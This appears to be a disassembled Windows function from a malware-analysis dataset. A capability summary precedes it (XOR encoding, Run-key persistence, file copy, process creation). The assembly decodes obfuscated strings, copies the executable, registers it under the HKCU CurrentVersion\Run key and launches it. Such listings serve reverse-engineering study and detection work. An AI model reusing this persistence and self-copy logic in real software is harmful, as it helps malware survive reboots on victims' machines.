Function at 0x408da0
Capabilities:
Copy file
Create process on windows
Create thread
Encode data using xor
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x348
mov eax, dword [0x448050]
xor eax, esp
mov dword [esp + 0x344], eax
push esi
push edi
push 0
mov byte [0x44a494], 0
call fcn.0041bb7f
add esp, 4
push eax
call fcn.00418bbb
add esp, 4
cmp byte [0x44a494], 0
je 0x408e3c
call dword [sym.imp.KERNEL32.DLL_AllocConsole]
push 0
call fcn.00418c95
add esp, 4
push eax
push 0x443888
push 0x44388c
call fcn.00418a36
add esp, 0xc
push 1
call fcn.00418c95
add esp, 4
push eax
push 0x443894
push str.conout_
call fcn.00418a36
add esp, 0xc
push 2
call fcn.00418c95
add esp, 4
push eax
push 0x443894
push str.conout_
call fcn.00418a36
add esp, 0xc
push 0x104
lea eax, [esp + 0x13c]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [esp + 0x138]
mov dword [esp + 0xe8], 0
mov dword [esp + 0xec], 0xf
lea edx, [ecx + 1]
mov byte [esp + 0xd8], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408e80
sub ecx, edx
lea eax, [esp + 0x138]
push ecx
push eax
lea ecx, [esp + 0xe0]
call fcn.0040c5e0
push str.TEMP
call fcn.0041d298
mov edx, eax
mov dword [esp + 0xd4], 0
mov ecx, edx
mov dword [esp + 0xd8], 0xf
add esp, 4
mov byte [esp + 0xc0], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408ed0
sub ecx, esi
push ecx
push edx
lea ecx, [esp + 0xc8]
call fcn.0040c5e0
lea ecx, [esp + 0x108]
call fcn.00405220
mov edx, dword [esp + 0xd0]
mov ecx, 0x7fffffff
sub ecx, edx
mov esi, eax
cmp ecx, 1
jb 0x409864
cmp dword [esp + 0xd4], 0x10
lea eax, [esp + 0xc0]
push 1
cmovae eax, dword [esp + 0xc4]
push 0x4438b0
push edx
push eax
push ecx
push dword [esp + 0x60]
lea ecx, [esp + 0x4c]
call fcn.00410030
push esi
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x54]
lea ecx, [esp + 0x5c]
call fcn.0040fe50
mov esi, dword [esp + 0x64]
lea ecx, [esp + 0x50]
mov edx, dword [esp + 0x60]
mov eax, esi
sub eax, edx
cmp eax, 4
jb 0x408f84
cmp esi, 0x10
lea eax, [edx + 4]
mov dword [esp + 0x60], eax
cmovae ecx, dword [esp + 0x50]
mov eax, dword [str..exe]
mov dword [ecx + edx], eax
lea eax, [esp + 0x50]
mov byte [ecx + edx + 4], 0
jmp 0x408f9b
push 4
push str..exe
mov byte [esp + 0x54], 0
push dword [esp + 0x54]
push 4
call fcn.0040f030
movups xmm0, xmmword [eax]
mov ecx, 0x448b60
movups xmmword [esp + 0x10], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [esp + 0x10]
push eax
movq qword [esp + 0x24], xmm0
call fcn.0040ae30
mov edx, dword [esp + 0x24]
cmp edx, 0x10
jb 0x409004
mov ecx, dword [esp + 0x10]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408ffa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409869
push edx
push ecx
call fcn.004143ed
add esp, 8
mov edx, dword [esp + 0x64]
cmp edx, 0x10
jb 0x40903a
mov ecx, dword [esp + 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409030
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409869
push edx
push ecx
call fcn.004143ed
add esp, 8
mov edx, dword [esp + 0x48]
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0xf
mov byte [esp + 0x50], 0
cmp edx, 0x10
jb 0x409085
mov ecx, dword [esp + 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40907b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409869
push edx
push ecx
call fcn.004143ed
add esp, 8
mov edx, dword [esp + 0x11c]
cmp edx, 0x10
jb 0x4090c1
mov ecx, dword [esp + 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4090b7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409869
push edx
push ecx
call fcn.004143ed
add esp, 8
cmp dword [esp + 0xd4], 0x10
lea edx, [esp + 0xc0]
push dword [esp + 0xd0]
mov esi, dword [esp + 0xc4]
lea ecx, [esp + 0xdc]
cmovae edx, esi
cmp dword [esp + 0xf0], 0x10
push edx
cmovae ecx, dword [esp + 0xe0]
mov edx, dword [esp + 0xf0]
push 0
call fcn.0040ef30
add esp, 0xc
push 1
cmp eax, 0xffffffff
je 0x409731
cmp dword [0x448bd4], 0x10
mov esi, dword [0x448bd0]
mov edx, esi
mov edi, dword [0x448bc0]
setae byte [esp + 0x13]
push 0x4438b4
push 0
jb 0x40914a
mov ecx, edi
call fcn.0040ef30
mov dword [esp + 0x58], eax
add esp, 0xc
mov eax, esi
jmp 0x409169
mov ecx, 0x448bc0
call fcn.0040ef30
add esp, 0xc
mov dword [esp + 0x4c], eax
cmp byte [esp + 0xf], 0
mov eax, esi
mov ecx, 0x448bc0
je 0x40916b
mov ecx, edi
push 1
push 0x4438b8
push 0
mov edx, eax
call fcn.0040ef30
mov ecx, eax
mov dword [esp + 0x6c], 0
mov eax, dword [esp + 0x58]
add esp, 0xc
mov dword [esp + 0x64], 0xf
mov byte [esp + 0x50], 0
cmp eax, ecx
jbe 0x4091a2
lea ecx, [eax - 1]
jmp 0x4091a3
dec ecx
cmp esi, ecx
mov eax, 0x448bc0
cmovb ecx, esi
cmp byte [esp + 0xf], 0
push ecx
cmovne eax, edi
lea ecx, [esp + 0x54]
push eax
call fcn.0040c5e0
lea eax, [esp + 0x50]
mov ecx, 0x448bc0
push eax
call fcn.0040ae30
mov edx, dword [esp + 0x64]
cmp edx, 0x10
jb 0x409205
mov ecx, dword [esp + 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4091fb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4098a3
push edx
push ecx
call fcn.004143ed
add esp, 8
cmp dword [0x448bd4], 0x10
mov edx, 0x448bc0
push dword [0x448bd0]
cmovae edx, dword [0x448bc0]
call fcn.00410680
add esp, 4
push eax
call fcn.0040e3d0
movaps xmm0, xmmword [0x443a50]
add esp, 4
movups xmmword [esp + 0x78], xmm0
xor ecx, ecx
mov dword [esp + 0xa8], 0x4b5c4f4b
movaps xmm0, xmmword [0x443b00]
movups xmmword [esp + 0x88], xmm0
mov dword [esp + 0xac], 0x4f504958
movaps xmm0, xmmword [0x443b20]
movups xmmword [esp + 0x98], xmm0
mov word [esp + 0xb0], 8
nop dword [eax + eax]
mov al, byte [esp + 0x78]
xor byte [esp + ecx + 0x79], al
inc ecx
cmp ecx, 0x38
jb 0x409280
sub esp, 0x18
mov byte [esp + 0xc9], 0
mov edx, esp
lea ecx, [esp + 0x91]
lea esi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4092b6
sub ecx, esi
lea eax, [esp + 0x91]
push ecx
push eax
mov ecx, edx
call fcn.0040c5e0
lea ecx, [esp + 0x120]
call fcn.004053f0
add esp, 0x18
lea ecx, [esp + 0x50]
mov edx, eax
call fcn.00408200
mov edi, 0x448b30
push eax
mov ecx, edi
call fcn.0040ae30
mov edx, dword [esp + 0x64]
cmp edx, 0x10
jb 0x40932c
mov ecx, dword [esp + 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409322
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40986e
push edx
push ecx
call fcn.004143ed
add esp, 8
mov edx, dword [esp + 0x11c]
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0xf
mov byte [esp + 0x50], 0
cmp edx, 0x10
jb 0x40937d
mov ecx, dword [esp + 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409373
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40986e
push edx
push ecx
call fcn.004143ed
add esp, 8
cmp dword [0x448b40], 0
jne 0x409504
movaps xmm0, xmmword [str._MQQUV]
xor ecx, ecx
movups xmmword [esp + 0x78], xmm0
mov dword [esp + 0xa8], 0x57405357
movaps xmm0, xmmword [0x443af0]
movups xmmword [esp + 0x88], xmm0
mov dword [esp + 0xac], 0x534c5544
movaps xmm0, xmmword [0x443ab0]
movups xmmword [esp + 0x98], xmm0
mov word [esp + 0xb0], 0x14
mov al, byte [esp + 0x78]
xor byte [esp + ecx + 0x79], al
inc ecx
cmp ecx, 0x38
jb 0x4093d6
sub esp, 0x18
mov byte [esp + 0xc9], 0
mov edx, esp
lea ecx, [esp + 0x91]
lea esi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409410
sub ecx, esi
lea eax, [esp + 0x91]
push ecx
push eax
mov ecx, edx
call fcn.0040c5e0
lea ecx, [esp + 0x120]
call fcn.004053f0
add esp, 0x18
lea ecx, [esp + 0x50]
mov edx, eax
call fcn.00408200
push eax
mov ecx, edi
call fcn.0040ae30
mov edx, dword [esp + 0x64]
cmp edx, 0x10
jb 0x409481
mov ecx, dword [esp + 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409477
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409873
push edx
push ecx
call fcn.004143ed
add esp, 8
mov edx, dword [esp + 0x11c]
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0xf
mov byte [esp + 0x50], 0
cmp edx, 0x10
jb 0x4094d2
mov ecx, dword [esp + 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4094c8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409873
push edx
push ecx
call fcn.004143ed
add esp, 8
cmp dword [0x448b40], 0
jne 0x409504
cmp edi, 0x448ba8
je 0x409504
cmp dword [0x448bbc], 0x10
mov eax, 0x448ba8
push dword [0x448bb8]
cmovae eax, dword [0x448ba8]
mov ecx, edi
push eax
call fcn.0040c5e0
cmp dword [0x448b44], 0x10
mov edx, 0x448b30
push dword [0x448b40]
cmovae edx, dword [0x448b30]
call fcn.00410680
mov ecx, dword [0x44a4a8]
mov eax, 0x7fffffff
sub eax, ecx
add esp, 4
cmp eax, 0xa
jb 0x409878
cmp dword [0x44a4ac], 0x10
mov eax, 0x44a498
push 0xa
cmovae eax, dword [0x44a498]
push 0x4438bc
push ecx
push eax
push ecx
push dword [esp + 0x60]
lea ecx, [esp + 0x108]
call fcn.00410030
cmp dword [esp + 0x104], 0x10
lea esi, [esp + 0xf0]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
cmovae esi, dword [esp + 0xf0]
lea eax, [esp + 0x108]
push eax
push esi
call fcn.0041b6c2
add esp, 8
test eax, eax
jne 0x4095a7
test dword [esp + 0x10e], 0x4000
jne 0x4095be
call fcn.0040e110
push eax
call fcn.0040e3d0
add esp, 4
push 0x9c4
call edi
jmp 0x409585
lea ecx, [esp + 0x50]
call fcn.00405220
push 0x104
lea eax, [esp + 0x244]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
cmp dword [esp + 0x64], 0x10
lea eax, [esp + 0x4c]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea esi, [esp + 0x58]
cmovae esi, dword [esp + 0x58]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x104
lea eax, [esp + 0x244]
push eax
push 1
push 0
push esi
push dword [esp + 0x60]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x4c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x64]
cmp edx, 0x10
jb 0x40965b
mov ecx, dword [esp + 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409651
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40987d
push edx
push ecx
call fcn.004143ed
add esp, 8
call fcn.00406560
push 4
call fcn.0041416c
add esp, 4
lea ecx, [esp + 0x74]
mov dword [eax], 0x407af0
push ecx
push 0
push eax
push 0x410920
push 0
push 0
call fcn.004192fe
add esp, 0x18
mov dword [esp + 0x70], eax
test eax, eax
je 0x409894
mov ecx, dword [esp + 0x74]
test ecx, ecx
je 0x409882
push ecx
push eax
call fcn.0041366d
add esp, 8
test eax, eax
jne 0x409889
xorps xmm0, xmm0
push 0xffffffffffffffff
movlpd qword [esp + 0x74], xmm0
call edi
cmp dword [esp + 0x74], 0
jne 0x40988f
mov edx, dword [esp + 0x104]
cmp edx, 0x10
jb 0x409707
mov ecx, dword [esp + 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4096fd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4098a3
push edx
push ecx
call fcn.004143ed
add esp, 8
mov esi, dword [esp + 0xc0]
mov dword [esp + 0x100], 0
mov dword [esp + 0x104], 0xf
mov byte [esp + 0xf0], 0
jmp 0x4097dd
cmp dword [0x448b74], 0x10
mov eax, 0x448b60
cmovae eax, dword [0x448b60]
push eax
lea eax, [esp + 0x140]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
cmp dword [0x448b74], 0x10
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x7c]
mov dword [esp + 0x7c], 0x44
push ecx
push 0
push 0
push 0
push 0
xorps xmm0, xmm0
mov eax, 0x448b60
cmovae eax, dword [0x448b60]
push 0
push 0
push 0
push eax
movlpd qword [esp + 0xa4], xmm0
movlpd qword [esp + 0xac], xmm0
movlpd qword [esp + 0xb4], xmm0
movlpd qword [esp + 0xbc], xmm0
movlpd qword [esp + 0xc4], xmm0
movlpd qword [esp + 0xcc], xmm0
movlpd qword [esp + 0xd4], xmm0
movlpd qword [esp + 0xdc], xmm0
movaps xmmword [esp + 0x78], xmm0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov eax, dword [esp + 0xd4]
cmp eax, 0x10
jb 0x409814
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x40980a
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4098a3
push ecx
push esi
call fcn.004143ed
add esp, 8
mov edx, dword [esp + 0xec]
cmp edx, 0x10
jb 0x40984c
mov ecx, dword [esp + 0xd8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409842
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4098a3
push edx
push ecx
call fcn.004143ed
add esp, 8
mov ecx, dword [esp + 0x34c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00413f5b
mov esp, ebp
pop ebp
ret 0x10
call fcn.004015e0
call fcn.0041cfb6
call fcn.0041cfb6
call fcn.0041cfb6
call fcn.004015e0
call fcn.0041cfb6
push 1
call fcn.00412be2
push eax
call fcn.00412bb5
call fcn.0041abc0
push 6
mov dword [esp + 0x78], 0
call fcn.00412be2
call fcn.0041cfb6
int3